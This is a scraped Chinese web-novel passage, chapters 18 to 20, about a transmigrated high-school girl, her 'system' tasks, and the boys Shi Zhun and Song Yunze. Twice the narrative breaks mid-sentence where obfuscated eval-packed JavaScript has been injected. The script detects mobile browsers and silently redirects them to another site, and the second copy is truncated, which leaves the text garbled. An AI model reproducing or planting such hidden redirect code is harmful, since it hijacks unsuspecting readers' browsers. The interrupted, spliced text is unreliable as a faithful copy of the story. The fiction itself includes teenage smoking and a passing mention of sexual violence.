“先把这几个复数换成三角形式,然后用复数模的公式,z的绝对值……诶不是,你上一道题明明还在57页,怎么这道又变成139页了?故意挑难题想考考我呢??” 温初夏想用报纸敲他头。 “没,这道题我上午就没弄懂,特意攒着来问你。”时准话说的滴水不漏,一双黑曜石般的眼睛闪着润泽的光,“我知道你肯定会做出来的。” 没有人不喜欢被夸。 于是温初夏干脆放下小儿科的英语报,扯了张草稿纸开始列公式,笔尖唰唰唰写得飞快。 她的字迹张扬又好看,思路清晰又连贯,龙飞凤舞间,这道难题就被攻克了大半。 时准一直盯着温初夏的手看。 她这人手掌虽小,十根指头却都很纤长,骨节分明,笋一样的鲜嫩白皙。 握笔写字时,指尖因为挤压而微微泛白,其他部分却变得更红了,像含苞的桃花,手背的青筋随着肌肉拉扯而极轻微地浮动着,像生长的绿枝。 漂亮的人,手也漂亮。 时准正看的入神,忽然,写字的漂亮手停住了。 “愣着干什么,接电话啊。” 温初夏提醒:“你书包里的手机在响,我都听见了,你没听到吗?” 时准瞬间回神,有些手忙脚乱地拉开拉链,把不停震动的手机拿出来,放在耳畔。 “喂爸。” 本来温初夏是没打算偷听,奈何她和时准离得太近,就算不想听,时澄江威严浑厚的声音也还是穿过弥漫着咖啡香味的空气,传进耳朵。 “我听司机说你放学之后没回家,你在哪儿?” 时准惊讶于父亲的严肃语气,立刻就变得非常老实了,回答:“我在学校外面的咖啡厅,和同学一起写作业。” 说着,他看了温初夏一眼,以为他爸下一句就要问是和哪个同学。 但时澄江却没关心这么多,直接用命令的语气说:“快点回来,你妈妈需要你陪着。” “妈妈她怎么了?” 时准下意识站起身,语气瞬间有些慌,引的温初夏和宋云泽两个人都仰头看着他。 “……好,我知道了,现在马上就回。” 挂了电话,时准急急忙忙拿起书包,看样子是要走。 温初夏还以为发生什么大事了,帮他把草稿纸夹在题集里,顺着半开的拉链塞进书包,又把拉链完全拉上,问:“阿姨怎么了?” “她下午不小心看见了场车祸,受了惊吓,我得回去陪她。” 话一说完,时准就脚底抹油地走了,留剩下的两个人在卡座里面面相觑。 咖啡厅的玻璃门推开再合上,风铃叮当作响。 沉默中,温初夏先开了口:“他刚才说的确定是他妈妈看见了场车祸,而不是他妈妈经历了场车祸?” “啊,对。”宋云泽和温初夏一样懵逼,眨了眨眼睛,“确实是‘看见了’。” “那他这么着急忙慌地回去干嘛?”温初夏扬起眉,一脸的匪夷所思,“他妈有这么脆弱?连车祸现场都看不得,还需要全家人去陪她一个?” “这我哪儿知道啊。”宋云泽耸耸肩,“你是林阿姨的干女儿,不应该比我更了解他家的事吗?” 温初夏:“……” 靠!她怎么忘了,时准他妹妹时淼就是出车祸去世的,所以林茵陈大概是对车祸这件事有阴影。 可转念一想又觉得不对,就算是有阴影,时澄江也不该让唯一还活着的孩子去安慰她啊,这不就相当于把孩子当成情绪垃圾桶,把原本只应该属于父母的遗憾和愧疚,全都强加到他身上吗? 而且,看时准刚才的表现,好像这种事情不是他第一次遇到,而是之前已经就经历过很多次了。 他早已把宽慰母亲,当做身为孩子最大的使命和责任。 那时准自己呢? 他有得到过一点点的,不掺杂丝毫别的什么东西的爱吗? 温初夏回想起林茵陈每次见到自己时表现出的狂热状态,忍不住叹了口气,心脏渐渐像是灌进水泥,跳得很沉、很重、很难受。 时准从小被当成是妹妹的替代品养大,偏偏运气不好,又拿了个倒霉男二的剧本,满心满眼爱着女主,却还是逃脱不了剧情的控制,一腔深情终喂狗,换来一句我只把你当做好朋友…… 温初夏越想越不得劲儿,越想心里越烦,烦的发躁,暴躁的躁。 她急于让自己冷静下来,于是拿起桌上的报纸,对半折一下,往脸上呼呼地扇着,耳边的碎发乱飞,余风直接把对面的宋云泽扇出了喷嚏—— “阿嚏!” 宋云泽吸吸鼻子,轻皱着眉:“你至于热成这样?这才刚开春呢,别人都还在戴围巾和手……” 他忽然停住,目光定格在对面那条深红色围巾上。 “咦?时准怎么忘拿了。” 宋云泽伸出手,想把围巾够到自己这边来,计划着明天中午吃饭的时候带给时准,没想到却被温初夏抢先一步拿了起来。 “今天就到这儿吧。”温初夏把书包单肩挎上,起身对宋云泽说:“你回去先看课本好好自学一下基础,明天放学我们再继续。” 来的时候老大不情愿,现在终于能走了,宋云泽却莫名心里一空,俊美的脸上有些愕然:“你去哪儿?就、就不管我了啊?” “你基础烂的跟狗刨过似的,先自个儿补补地基吧亲。虽然我是收了你姐的钱,但也不代表我得从一元二次方程这种初中生都会的知识点教起啊。” 温初夏手里抱着围巾卷了卷,又问:“刚才时准问我的那两道题你有没有稍微听点儿,听得懂吗?” 怎么可能听得懂,从她嘴里吐出的那些名词公式和定律简直跟天书一样,还不如让他去做英文听力呢,这个好歹能听懂一丁点儿。 宋云泽没有回答,沉默地抿了下唇,感觉面颊隐约有点发烫的趋势。 这是他第一次,因为学习差劲而萌生出了羞耻。 “听不懂就对了。” 温初夏笑了笑,但并不是轻蔑的那种,“这才是我的正常教学水平,杀鸡焉用牛刀,现在你还只是只小鸡仔,抓紧进化一下吧,不然我怎么能砍……教你啊?” 她故意说的很幽默,但宋云泽却并没有笑,反而正色起来:“知道了。” 青春期的少年最受不了激将法,他不会让她看不起的。 他要证明给她看,自己之前只是心思没放在学习上,真要认真起来,刚才那些复数代数一元二次函数,通通不在话下。 两人在咖啡厅门口分别。 温初夏没有直接骑车回居民楼,而是沿街拦了辆出租,刚和司机说完地址,粉团子就急忙开始嚷嚷: “宿主你为什么不继续给男主补课呀?这可是很重要的任务啊!而且你怎么忽然要去时家?找时准吗?原著里明明没有这一段啊,你说你好不容易才涨了些任务进度,还没捂热乎呢,怎么能……” 温初夏被吵的头疼,刚想让她闭嘴,就听见系统一板一眼的机械音。 “警告!《等风说雨停》关键剧情——‘补习’任务未完成,攻略任务进度不变,界面融合度下降0.5%,请宿主引起重视!” 温初夏松了口气:还好还好,只是降了0.5,明天补回来就成。 “我就逆反这一回。” 车窗降下,早春的凉风呼啦啦灌进来,裹挟着新发嫩叶的清香,有点苦涩,但温初夏却觉得这气味格外好闻。 生机盎然、万物复苏,春天真的要来了。 她感受着春风,闭上眼:“以后就都老老实实做任务了。” 温初夏这人一向说到做到,又敬业的很,粉团子深知这两点,于是迅速放下了心,缓了缓,好奇地问:“那你去找时准干什么呀?” 温初夏手指摩挲过放在腿上的红色围巾,质地软糯保暖,很舒服。 “显而易见,送个围巾。” 今天是个阴天,透着灰调的云层密不透风,傍晚时分连个夕阳的影子都看不到,整个城市的亮度以均匀且 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502009|170387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缓慢的速度逐渐变暗,一天又要过去了。 路上堵了一会儿,温初夏下车后给时准发了消息,然后独自站在大门口等人出来。 别墅群附近很清静,此刻,路灯还未亮起,外面的大街一个人也没有,有的只是柏油马路上一辆辆飞驰而过的汽车,略显荒凉。 忽而起了阵横贯的风,将马路上的泥沙尘土裹起来,吹向街道,像是起了一场小型沙尘暴。 温初夏毫无防备,吸入了一口颗粒物浓度极高的空气,捂着脸开始咳起来,抖动的肩膀被书包带勒的有些疼,还很想yue,像是被人强行喂了一把土。 很快,温初夏就发现用手捂鼻子这个方法不太管用,呼吸间依旧有一股浓郁的土腥味,还很容易把自己憋死。 于是她借用了时准的围巾,从下巴到头顶绕一圈,剩下的尾巴围在鼻子前,严严实实包裹住下半张脸。 这下总算好受多了,不仅没了土味儿,呼吸间还多了股淡淡的清香,温初夏琢磨着,好像和时准的房间是一个味道? 过了一会儿,风渐渐小了,身后传来一阵急促的奔跑声。 “温初夏。”少年再次喘着粗气,停在她身后。 温初夏回头,围巾裹在头上没来得及取。 这种围围巾方式自带一种憨厚的乡土感,又或者像是不太机灵的小偷,但此时此刻,时准眼中的温初夏却半点儿没有这两种感觉。 有的只是漂亮,是灵动,甚至有点像冬天裹得厚厚的俄罗斯小娃娃,一双眼睛又大又亮,如同饱满的黑葡萄。 果然,她很适合红色。 没能送出去的围巾意想不到地戴在了想赠予的人身上,时准像是得到了一份迟来的礼物,看着温初夏,内心原本的扭曲、烦躁,瞬间变成了熨帖和满足。 他忽然后知后觉,自己是不是太好哄了? “让你不着急慢慢走,怎么还是跑出来的。”温初夏教训他,然后扯下围巾,抖了抖上面并不存在的灰尘,递给他:“刚起风了,沙子满天飞,我借你围巾挡了一挡。” “谢谢。”时准接过,很细致地叠好,问:“你来就是为了给我送这个?” “当然。”温初夏抱起胳膊,又道:“阿姨她怎么样?还好吧?” 刚浮起的一颗心沉了下去。 她是来关心妈妈的。 反正又不是第一次感到失望了,时准面上没有露出丝毫破绽,语气还是那么的温和不失风度:“还好,你要不要去看看她?” “不了不了。”没想到温初夏连忙拒绝,“我又不是你们家的人,没什么立场去关心阿姨,可能她见了我反而要更伤心呢。” 时准眼里冰封的温度融化了一点,嘴里却说:“怎么会,我妈她这么喜欢你,见到你肯定很高兴。” 温初夏“嗐”了声,抬手搔了搔脸颊,不知道该怎么接话。 沉默片刻,时准又问了一遍:“真不进去看看?” 见他这么小心翼翼,温初夏干脆不装了,不想铺垫了,眼神单刀直入与眼前的十六岁男生对视:“时准。” 时准心头一跳,紧张和期待迅速交织,包裹住他的心脏。 这还是温初夏第一次用这种语气和自己说话。 她问:“你是不是特别介意阿姨认我当女儿这件事?” 时准没料到她会忽然问起这个,还问的这么直接这么直白,一时间不知该如何作答,张了张口,嗓音无比干涩:“我……” “别白费力气撒谎啊。”温初夏轻笑着,“我知道,你肯定介意,或许还会觉得我是来代替你妹妹的……” “没有!”时准顿时拔高了音量。 你不是任何人的替代品,我也不会让你成为任何人的替代。 倒霉孩子激动个什么劲啊,吓我一跳。 温初夏肩膀一抖,缓口气继续道:“我确实不想代替你妹妹。” 接下来的话让时准呼吸停滞—— “我是想代替你。” 时准睫毛轻颤,怀疑耳朵是不是听错了,问:“什么?” 他不明白。温初夏解释说:“我想代替你,让阿姨把对时淼的执念,从你身上,转移到我身上。” 呼吸再次停住了。 “这么说好像有点儿拗口哈,你等等,我捋顺了再和你解释……”温初夏挠了挠头,一张伶牙俐齿的好嘴此刻却失了灵。 她本就是个不善于表达真情实感的人,更不擅长安慰,再加上话还这么绕,温初夏一时有些着急上火,疯狂后悔刚才在出租车上光顾着吹风发呆了,居然忘了提前把词儿措好。 “不用。”时准看着她,眼里晴光潋滟,好似冬雪融化成春水,剔透粼粼地汇成一汪,他说:“我懂你的意思。” 啊哈哈懂了就好,懂了就好,小伙子悟性不错。 温初夏垂下手臂,忽然有些不敢再看时准的眼睛,但又觉得这样会显得怂,于是强迫自己直视他,结果却吓了跳。 他这是,要哭啦??! 我去现在也没起风啊…… 温初夏瞳孔地震,也不管什么看起来怂不怂了,触电般移开视线,一紧张不管什么话都敢叽里咕噜往外倒: “总之我就是想说,你别因为这事儿耿耿于怀,我不是来跟你抢妈的,这点你得知道!” “好。”时准笑了,春水摇晃,“我知道。” 虽然有些丢人,但温初夏好歹是把憋在心里许久的话说出来了,一时间,她神经松了,气也顺了,觉得自己做了件无比正确的事,拍拍时准肩膀,转身潇洒离去。 目送温初夏的背影消失在街口,时准仍旧站在原地。 他低头闻了闻被送还的围巾,趁此机会,干燥的薄唇轻轻抚过留有对方温度的地方。 这人这么怕热,呼吸却偏偏这么温暖,都过去这么久了,还尚且留有余温。 触碰到的面料略有些潮湿,时准闭上眼,嘴角扬起一抹甜蜜又满足的弧度。 她是在意我的。 她果然还是在意我的。 19. 第 19 章 上午十点,日头正盛。 时间步入五月,草木丛生,煦风吹动茂密苍翠的香樟树唰唰作响,天空是澄净的钴蓝,一缕薄云也无,强烈的日光让万物的色彩变得更加鲜艳。 清荟的室外操场占地足足60亩,烈日下的一圈跑道红的发亮,圈内是茵茵绿草,视觉效果非常广阔。 这节是体育课,解散后,温初夏没有像往常那样直接回教室,而是到看台区乘凉。 随便找个空位坐下,她拿出一本英文名著,翻开,里面密密麻麻全是标注的单词释义,她低头慢慢啃读,旁边的空位上立着瓶没有开封的矿泉水,画面非常岁月静好。 除了身后偶尔传来几声做作的讥嘲—— “呵,体育课上还看书,做样子给谁看啊?” “让我瞧瞧大学霸看的什么……噗,居然是英文小说,这逼装的好啊,高端、大气、接轨国际。” “可不一定是装逼啊叶子,人家没准儿真是在学习呢——我记得大学霸这次月考英语只考了125,比咱们筱筱低了16分呢!还被孟老师叫去办公室谈话了,是该多看看英语。” “有的东西是要看天赋的,她再怎么用功肯定也比不过筱筱。” “就是就是,我们筱筱每次大考英语都是第一,不是她稍微努努力,多看几本英文名著就能考过的,筱筱你说是吧?” “嗐,我又不在意这个。”苏筱筱挽着小姐妹的手,故作谦虚地笑着:“其实我就是占了小时候在美国上过三年学的便宜啦,胜之不武胜之不武。” …… 任身后如何冷讽热嘲,温初夏始终安安静静看着书,直到操场上传来一声嘹亮的口哨,有人喊说中场休息三分钟,她才抬起头。 金发少年扔开篮球,脚步轻快地向看台跑来。 他额头带着发带,热气腾腾的面颊略微泛着红,一头招摇的白金短发在烈日下仿若发光,星眸熠熠,唇角带笑,青春活力在他身上体现的淋漓尽致。 温初夏合上书,站起来。 “你像是从水里捞出来的。” 她拿起旁边的矿泉水,递给宋云泽,娇俏的声音带着嫌弃:“下午洗干净了再坐我旁边,不然要你好看。” “知道知道,我哪次打完球不洗澡啊,洁癖鬼。”宋云泽嘟哝着接过,卡啦一声,轻松拧开盖子。 明明很渴,他却不着急往嘴里灌,而是扭头往不知道哪个方向看了一眼,挑眉举了举手里的矿泉水瓶,然后才仰头,喝了好大一口。 温初夏疑惑:“你看什么呢?”喝个水还造作上了? “时准啊。” 宋云泽确实是渴了,又喝了好几口,才喘着气说:“开打之前,我和他说你之所以不回教室,是为了给我送水,他死活不信,我就让他亲眼看看咯。” 噎住好半晌,温初夏才道:“你俩幼不幼稚。” “幼稚的明明是他好不好。” 宋云泽捏着快见底的塑料瓶,语气很是幽怨:“诶我说,他这个干弟弟怎么比亲弟弟还管的宽啊,反正我是不会在意我姐要给哪个男的送水,送什么水。” 大概是想象到年轻6岁的宋念慈给人送水会是什么样,宋云泽噗嗤一声乐出来。 温初夏没功夫关心这人为什么突然发神经,她正眯着眼,满操场搜寻时准的身影,闻言只是随口道:“这只能说明你对你姐不上心。” 结果宋云泽忽然生起气:“我不上心,就他上心呗?” “那你以后也只给时准讲题好了,省得每次我跟他像要抢你似的。” 说完,就转身走了。 温初夏忙被迫收回视线,看着宋云泽高大挺拔但落寞的背影,深吸一口气:青春期小男孩就是难搞! 有正在擦汗的男生见宋云泽大步流星地往操场出口走,忙喊住他问:“泽哥,你不打了啊?” “不了。”宋云泽头也不回地摆摆手,“突然不想打了,你们自己玩儿吧!” 不知道是故意的还是不小心的,他这话说的很大声,整个篮球场附近的人都能听见。 温初夏没辙,只能拿起书去追他,下台阶时,脑海里传来系统的声音: “《等风说雨停》关键剧情——‘体育课送水’任务已完成,攻略任务进度增长5%,界面融合度上升3%,目前界面融合度为79%,请再接再厉哦~” 瞧瞧,任务做得好,垃圾系统的声音都变好听了。 与此同时,球场边缘的休息区。 “时准,这可是我特意给你买的,你就算现在不渴,至少也得收下吧……” 周雅宜两手握着瓶功能饮料,大拇指把塑料膜掐的吱吱作响,秀眉失落地皱起,期期艾艾地看着眼前的少年。 “抱歉。” 虽然话是对周雅宜说的,但时准的目光却不时飞向远处那个马上就要消失的背影,“可我现在真不想喝。” 心里焦急如焚。 她去追宋云泽了。 他们接下来会去哪儿?教室?还是…… “那你先拿着嘛!拿着一会儿喝!” 周雅宜被烈日晒的面皮发烫,额头也开始冒汗,她已经没有耐心了,有的只是羞耻,干脆把饮料往时准手里塞。 可没想到时准为了拒绝她,居然把手背在了身后! “谢谢你的好意。”时准歉意之中透露出敷衍,“可我突然有事,先走了。” “欸——!” 周雅宜连忙转身,可急切的呼唤没能留住自己心悦的男孩,他还是走了。 不,准确来说是跑了。 什么事情这么着急??? 周雅宜的胸腔剧烈起伏,她不敢相信,从小到大一向对自己言听计从有求必应的时准,有一天居然会在公共场合这样驳她的面子。 周雅宜气急败坏地在原地站一会儿,俏脸紧绷的像是涂了撕拉面膜,然后她跺了跺脚,愤然离开。 一颗篮球撞到肩膀。 “怎么了李确?”同伴拍拍手,提醒不知为何发起呆的队友:“接球啊!下半场开始了。” 李确立刻回神,看见了弹远的篮球,小跑过去把球捡起来,抱歉地笑笑:“不好意思,刚走神了。” …… 天台。 “宿主,你为什么跑这儿来而不是去找男主啊?”粉团子问,“他刚才明显是吃醋了诶,你难道不该去哄哄他吗?” 温初夏拖着嗓子把最后三个字重复了一遍,步子悠哉悠哉地来到围栏边,右手伸进校服口袋掏东西,有点儿消极怠工的意思。 “又不是系统规定必须完成的任务,我没事儿干嘛给自己增加工作量啊。”她懒洋洋的,低头,两瓣粉唇衔住一根细长的东西。 “你又抽烟!” 回应粉团子这句惊叫的是“咔哒”一声轻响,砂轮摩擦火石迸发出几粒火星,一条黄蓝色渐变的火舌冒了出来,顶端舔住香烟末尾,使之滚烫、燃烧,变成上瘾的猩红,接着,浓郁的白烟吐了出来。 “呼——” 温初夏仰着头,发出一声满足的喟叹,肩膀随着吐息而微微下沉,神情和动作像极了一只伸懒腰的猫。 粉团子还在叫嚷:“你胆子也太大了,怎么能在学校抽烟呢,就不怕被人发现了人设崩掉啊!这要是崩了我看你怎么救得回来!” “首先,现在是上课时间。其次,谁闲着没事儿来天台,这里什么都没有,白天只能晒太阳,晚上只能晒月亮,大概只有考场失意或者情场失意的脆弱小青年才会来。” 温初夏抖抖烟灰,端的是一派气定神闲。 但她的小客服却端不了一点:“可你明明答应过我要戒烟的……” 正式上岗之前,粉团子看过温初夏的任务记录,发现她这人除了爱搞事、爱闹腾之外,还有个非常严重的坏习惯——爱抽烟。 并且仗着反正最终伤的不是自己的身体,抽的格外猛。 据数据显示,每当温初夏压力大(实际上就是想方设法要在违规边缘走钢丝)的时候,平均一周能抽掉10包烟。 10包,什么概念? 一般一整条烟就是10包。 抽烟,很不健康的排解压力的方式。而穿书局又格外关注守护者的心理健康状态,所以粉团子才一直监督温初夏戒烟。 “我也想戒啊。”温初夏单手撑腮,故作忧伤,“可谁让妈咪寄来的一车礼物里有一个煤油打火机啊。” 价值数十万的银质打火机在空中滑过一道漂亮的抛物线,于阳光下流动着华光,落下后,被掌握着它的人娴熟地打开。 又是“咔哒”一声,焰火高涨跳动的同时,散发出一股奢靡的清香,满满都是金钱的味道。 拇指一叩。 钻光闪闪的盖子重新合上。 这么完美的打火机,不用来点烟简直是暴殄天物,可不能怪她定力不足。 “唉。”温初夏短浅地叹了口气,“什么时候才能开启霸总文剧情线呢,我可太想光明正大地当富家大小姐了。” 她这话恰好提醒了粉团子,小客服清清嗓,试图通过恫吓温初夏来让她改邪归正: “你别忘了,霸总文的恶毒女二温初夏,最后的结局就是死于肺癌。” 肺癌诶,多可怕!你怎么还敢的,今天抽烟,明天插管,惨惨惨。 谁知温初夏不仅没被吓到,反而勾了勾唇,吊儿郎当地说:“这只是死因之一。” 一名真正成熟的守护者,敢于直面惨淡的人生,敢于正视淋漓的鲜血,更敢于拿自己未来的悲惨结局开涮。 温初夏眯着眼睛,跟背课文似的,有一个算一个地数道: “我得先是被轮.奸、被曝果照、未婚先孕、黑料满天飞,然后是流产、掉下悬崖没死成,但右腿再次粉碎性骨折彻底瘸了,还毁了容,家里公司破产……最后的最后,我才查出肺癌,因为没钱治病没钱吃饭,活活把自己饿死在家里。” 听语气,您好像挺骄傲还??? “那你还期待走霸总文剧情?”粉团子无法理解她的脑回路。 “当然,为什么不期待呢。” 温初夏轻笑着,声音却十足的苦涩,“女二温初夏的结局再悲催,至少没有被一个死病娇长期囚禁起来还不能穿衣服吧,我反正是宁可……” “我靠宿主有人来了!快快烟掐了掐了!!!”粉团子大喊。 温初夏吓一跳,忙四周看了看,发现天台太空旷,连个藏烟头的地方都没有,她只能把燃到一半的香烟扔地上,用脚完全踩灭,捡起来扔到楼下的绿化带。 来的人居然是时准。 完蛋,可不能让他闻到我身上有烟味。 温初夏忙捂嘴装咳,同时自以为很不动声色地往后退了几步,断断续续地说: “时、咳!时准,你怎么、咳咳!来天台啊咳咳咳……” 时准来到天台,发现这里并没有宋云泽的身影,不由得松了口气。 他没有回答温初夏为什么自己会找到这里,而是微微皱着眉,关切地问:“你感冒了?怎么咳成这样?” 说着,他想要来到温初夏面前。 但女孩却像是嫌弃他般,一见他靠近,马上一连后退数步,甚至咳嗽的声音也瞬间拔高好几个度,咳得忘乎所以,雪白的脖颈发红,眼泪都快呛出来了。 时准的身形僵住,不再向前。 这段时间一直在心里摇摇欲坠的那块巨石,彻底滚落了下去,也把他的心脏碾成一滩零落的烂泥。 她甚至都不愿意我靠近…… 这是在,避嫌吗? 为了宋云泽? 可他明明都不在这里。 血液沸腾,滔天的妒意让时准再也不想顾及什么礼貌或情面,因为这些日子他已经顾及的足够多,心也已经足够疼了。 他不想迂回、不想试探,只想现在就问清楚,他要温初夏给他一个确定无疑的答复。 时准舔了舔干裂的嘴唇,说话的声音居然在颤抖,嘶哑的嗓音艰难道:“温初夏,你和……” 我靠我靠他这是想问什么??! 温初夏大惊失色,右手仍死死捂在嘴上,语速飞快地打断他:“额等等,我药还没吃我忽然想起来了。” 她扯出个毫无说服力的借口:“我今早起床感觉喉咙有点痛,就带了莲花清瘟来学校,结果忘了吃,哈哈哈你看这事儿闹的……我得现在就去吃了它,拜拜啊。” 说完,温初夏落荒而逃。 空荡荡的天台只剩下一人。 五月的长风带着轻微的暑气,吹动少年人的衣袖翩翩翻飞,也熄灭了他心中最后一丁点的希望。 时准极力忍耐,可视线还是逐渐变得模糊。 他不明白,为什么温初夏会和宋云泽走的越来越近,明明他才是更早认识她的人,也是他更了解她,为什么这个世界总是后来者居上? 如果她真的喜欢上了宋云泽,为什么那天还要专门坐车来给他送还围巾,为什么要对他说那样温暖动听的话? 我想代替你。 分担过母亲疯魔的执念。 我想帮助你。 轻卸下束缚灵魂的重担。 这简直是世界上最无私最伟大的承诺,让他的灵魂变得轻盈、透明,如同破窗而出的蝴蝶,翩然飞动,带来一场惊心动魄史无前例的粉红风暴。 可她虽分担走了旧的执念,却又让他萌生出新的来。 并且这回,没人能再能替他分担。 花谢了,长成酸楚的果,连芬芳都是苦涩。 时准鼻尖发酸,难道她真的把我当弟弟?也一点都不明白我对她… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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要是放在平时,温初夏肯定会借题发挥大肆吐槽这个垃圾系统一点儿也不人性化,赚的钱不用来升级系统都花哪儿去了。 但此刻,她思绪混乱,一点吐槽的心情都没有。 “不行,不能再这么下去了。” 急促的呼吸变得沉缓,温初夏继续慢慢往楼下走,脚步声在空旷的楼道阵阵回响,配合着沉重的心跳。 “以后我必须尽量躲着他,不然迟早要有大麻烦。” . 周四上午。 国外一位人工智能领域的大牛受邀来到清荟,给高二年级开学术讲座。 通知传达到各个班时,老师做了温馨提示,本次讲座全程无翻译,所以比较推荐想听也听得懂的同学去,不去的留在教室上自习。 温初夏本不想凑这个热闹,因为怕遇到时准,但阚春兰却特意叮嘱她必须得去,并且还得坐前排。 上次月考,温初夏的英语成绩跌破新低,只考了125,急的阚春兰和英语老师孟诗轮番找她谈话,问她最近是不是学习压力太大了。 但其实温初夏是因为心里愧疚,不想总分超过时准这个万年老二太多,所以就把选择题多改错了几个。 虽然通知的是自愿,但很少有学生会拒绝这个能光明正大摸鱼的机会,整个高二几乎都去了。 偌大的礼堂座无虚席,讲座还没开始,很多学生都偷摸拿出手机在看,或者和前后左右的同学聊闲天,很显然,大部分人是把这次活动当成茶话会了。 温初夏对讲座内容不感兴趣,但班主任的话她不得不听,于是拿了本物理竞赛题库,坐到第二排最里的位置。 一坐下,她就开始潜心刷题,认真的表象下掩藏着自我麻痹的鸵鸟心理。 只要她不抬头,不去看时准在哪儿,就可以当他不存在。 自从上周发现时准已习得男鬼技能之一,从男鬼幼年体进化了男鬼青年体之后,温初夏如临大敌如坐针毡如履薄冰,赶紧强制把每天放学后的三人补习裁成了两人。 至于为什么能成功,是因为她把补课地点从咖啡厅,变成了宋云泽家。 这是正常人都能读懂的回避和婉拒,时准当然也不例外,并且少年人强硬的自尊让他没有表现出任何的不满,甚至连质问都没有。 听到消息时那一抹并不惊讶的惨淡微笑,暗示了时准其实早有预料,知道温初夏会离他越来越远。可他并没有就此放弃。 当晚,时准在微信里向温初夏询问一道题目,还一连发了三个可怜巴巴的表情包。 看到消息后,温初夏在卧室跳了许久的脚,然后故意挑在凌晨两点才给他回复。 结果这货秒回。 温初夏差点儿又把手机砸了,选择不再搭理。 类似的事情发生了三四次,她都这样冷处理了,渐渐的,时准就很少给她发微信了。 十分钟后,讲座开始,银发碧眼身着西装的汉克博士走上讲台,虽然他略有些上年纪,但精神头却和年轻人一样好,首先热情地向大家打招呼,台下立刻爆发出掌声。 温初夏手里夹着笔,跟着拍了几下掌,然后就继续埋头刷题,直到颈椎因为长时间低头而变得酸痛,也不敢抬起来一点,生怕一个不小心被时准捕捉到。 她不想见到他,尤其不想见到那双如同淬了墨的琥珀般星光熠熠的眼睛,因为失落而迅速黯淡,变成深不见底的寒潭,简直能把人淹死。 所以温初夏非常认真、非常投入地刷着题,让理性思维完全占据大脑,一句句带着明显伦敦腔调的英文从她左耳进、右耳出,全当做了白噪音。 直到讲座接近尾声,来到交流环节,话筒被传递到第一排的某位女生手里,娇滴滴的嗓音通过扩音设备贯入耳朵,温初夏才终于疑惑抬头—— 卡戴珊啥时候来我们学校了??? 然后又变得了然:哦,是苏筱筱啊。 该说不说,卡筱筱英语确实很好,张口闭口全是专业名词,显然是刚才认真听了讲的,标准的美式口语丝滑流畅,一口气说了一大长串也没有停顿。 温初夏心想终于要结束可以回教室了,于是把题库合上,克制地活动了下脖子和关节,就等着苏筱筱什么时候说完,她好第一时间起身离开,以免碰到时准。 “十分感谢教授的回答,我感觉受益良多——其实除了我之外,我的一个同学也有问题想和教授您交流,你说是吧,温初夏?” 颈椎嘎嘣响了一声。 温初夏一脸懵逼地看着眼前递来的话筒,目光上移,是苏筱筱恶意满满的甜美假笑。 嗯?搞我? 20. 第 20 章 空气安静了两秒。 “初夏,快拿住话筒站起来呀。”苏筱筱笑着,用中文催促,“我们大家都在等你呢。” “这什么情况。”坐在后排的季明轩抻着脖子小声嘀咕,“温初夏刚才一直在低头写作业,明显就是没认真听啊,怎么会想问问题。” “诶你滚远点儿!” 邻座的周雅宜皱着眉,嫌弃地伸出根指头,把快要贴到自己耳朵边的大脑袋推开。 季明轩扭过头,一双宽且大的眼睛审视地看着周雅宜,表情虽然严肃,但莫名有些不太聪明。 他问:“不会又是你们想出的什么损招吧?” 周雅宜一听这话,立刻竖起眉,后背离开靠椅,没好气道:“什么叫‘们’,在你眼里我就是这种人是吧?” 话音刚落,一阵话筒磕碰的动静响起,前排的女生终于站了起来,身后柔顺的马尾跟随她的动作轻轻晃动,像是被微风吹过的风铃,铃片互相撞击。 接着,清越冷静的声音通过话筒,不疾不徐传遍礼堂的每个角落,仔细一听,居然同样也是伦敦腔。 台上的教授脸上闪过一瞬惊讶,认真聆听完温初夏的问题后,他重新举起话筒,没有立刻回答,而是先夸赞了一句: “Youraccentisquitecharming—standardyetdistinctive,likealovelygoldenoriolesinging.” (你的口音很动听,标准中带着特别,像可爱的黄鹂鸟) 温初夏谦逊地笑笑。 接下来,两人你来我往地交流了好几分钟,气氛非常融洽,中途教授还被逗笑了两次,笑声非常老钱。 相较于刚才苏筱筱的总结式发言,比如“我学到了什么”、“我愿意代表学校和全体同学向您表示由衷的感谢巴拉巴拉”,温初夏的表现显然更符合这个环节的主题。 那就是交流。 …… 中午吃完饭,温初夏独自一人轻车熟路地来到食堂三层偏僻无人的小阳台,在粉团子的叫嚣下摸出烟盒与打火机。 她其实很少在学校抽烟,怕被发现是一回事,觉得不太好是另外一回事。 但最近,为了疏远时准,温初夏压力大到爆炸,不抽点儿根本控制不住情绪,又对教学楼天台有心理阴影不敢再去,所以选择把这里作为秘密基地。 结果烟刚点上,就听见身后传来脚步声。 小阳台的构造和天台很不一样,不仅面积小,三面还都是高高的水泥围墙,温初夏没法把烟扔出去,情急之下只能整根踩在脚底。 听见脚步声确实是冲自己这边来的,温初夏圆规似的转身,心说哪个不速之客敢来坏她事,总不能又是时准吧? 结果是苏筱筱。 温初夏立刻松了口气,站在原地,臭着脸冷漠地问:“找我有事?” 虽然女主的人设是小白花,但对于眼前这位,显然她是没必要有什么好脸色的。 苏筱筱没回答,先装模作样地四处看了看,昨天刚下了一场雨,小阳台的水管外爬着一层绿油油的青苔,地板也有些脏。 环境如此恶劣,苏筱筱露出一个嫌弃的表情,目光落在温初夏右耳戴着的耳机上,当即一声冷笑。 “哼,我就说你怎么听力和口语进步了这么多,原来大学霸每天中午都背着我们偷偷学习啊。” 温初夏:??? 耳机里传来的歌声—— “沉默不是代表我的错, 分手不是唯一的结果, 我只是还没有想好, 